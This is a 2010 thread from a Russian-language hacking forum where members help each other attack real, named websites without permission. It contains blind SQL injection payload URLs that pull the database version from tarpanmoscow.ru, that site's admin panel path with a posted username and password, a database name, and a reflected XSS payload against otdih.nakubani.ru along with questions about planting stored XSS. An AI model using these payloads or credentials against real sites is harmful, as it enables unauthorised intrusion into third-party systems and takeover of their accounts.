20.07.2010, 13:54
|
|
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199
Репутация:
127
|
|
http://www.sysadmin.mail.ru/rekords_detail.php?id=2' выплюнуло ошибку, но раскрутить не выходит
|
|
|
20.07.2010, 14:27
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от Bramin
http://www.sysadmin.mail.ru/rekords_detail.php?id=2' выплюнуло ошибку, но раскрутить не выходит
http://www.sysadmin.mail.ru/rekords_detail.php?id=2 та же самая ошибка и без ковычки,говорит о чем нить?
|
|
|
|
20.07.2010, 14:32
|
|
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199
Репутация:
127
|
|
там сначало было так id=27 потом кавычку я подставил сюда id=2'7 -ошибка, если кавычку поставить после 7 ошибки нет
|
|
|
|
21.07.2010, 15:37
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944
Репутация:
37
|
|
http://www.tarpanmoscow.ru/index.php?id=36742 - помогите скулю раскрутить, вроде 9 полей нашел но не выводится ни фига..
|
|
|
|
21.07.2010, 16:26
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от Bramin
там сначало было так id=27 потом кавычку я подставил сюда id=2'7 -ошибка, если кавычку поставить после 7 ошибки нет
Там интвал, скорей всего, скули нет.
Когда кавычку добавляешь к 27, то интвалится до 27, а когда подставляешь ее между 2 и 7, то интвалится до 2, а в базе записи с id 2, видимо, нет, поэтому и ошибка.
|
|
|
|
21.07.2010, 17:46
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388
Репутация:
87
|
|
blind
http://www.tarpanmoscow.ru/index.php?id=36742 AND Length((version()))=6
http://www.tarpanmoscow.ru/index.php?id=36742 AND ascii(substring((version()),6,1))=53
ver. 5.1.45
---------------------
http://www.tarpanmoscow.ru/admin/
admin : admin1tar
|
|
|
|
22.07.2010, 06:27
|
|
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596
Репутация:
88
|
|
ZARO
Ну тут именно блайнд
database:db7364a
|
|
|
|
22.07.2010, 07:09
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388
Репутация:
87
|
|
Сообщение от AKYLA
ZARO
Ну тут именно блайнд
database:db7364a
о спасиба, ты крут, а я не знал что там блайнд -.-
|
|
|
|
22.07.2010, 08:36
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от [Feldmarschall
"]
[Feldmarschall] said:
скорей всего blind
http://www.tarpanmoscow.ru/index.php?id=36742 AND Length((version()))=6
http://www.tarpanmoscow.ru/index.php?id=36742 AND ascii(substring((version()),6,1))=53
ver.
5.1.45
---------------------
http://www.tarpanmoscow.ru/admin/
admin : admin1tar
разговор о другой скули друг... посмотри вышe, Попугай имел в виду ошибку на мейл.рy
|
|
|
|
22.07.2010, 15:15
|
|
Познающий
Регистрация: 24.06.2010
Сообщений: 95
Провел на форуме:
26362
Репутация:
1
|
|
Добрый день.
Вопрос по актывным XSS.
Нашел простую, пассивную:
Сообщение от None
http://otdih.nakubani.ru/forum/themes/?forumid=13">alert('')
Так же на этом перловском полуфоруме можно добавлять темы/сообщения от гостя;
Вот мои попытки расставить акт.xss:
Сообщение от None
http://otdih.nakubani.ru/forum/themes/view/?themeid=14547
http://otdih.nakubani.ru/forum/themes/view/?themeid=1188
Наверняка, я делаю что-то не правильно... Не подскажете, что именно?! |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Feldmarschall]](/avatars/avatar109813.jpg?2260777){kind=avatar}
![Аватар для [Feldmarschall]](/avatars/avatar109813.jpg?2261607){kind=avatar}
Похожие темы
Комбинированный вид
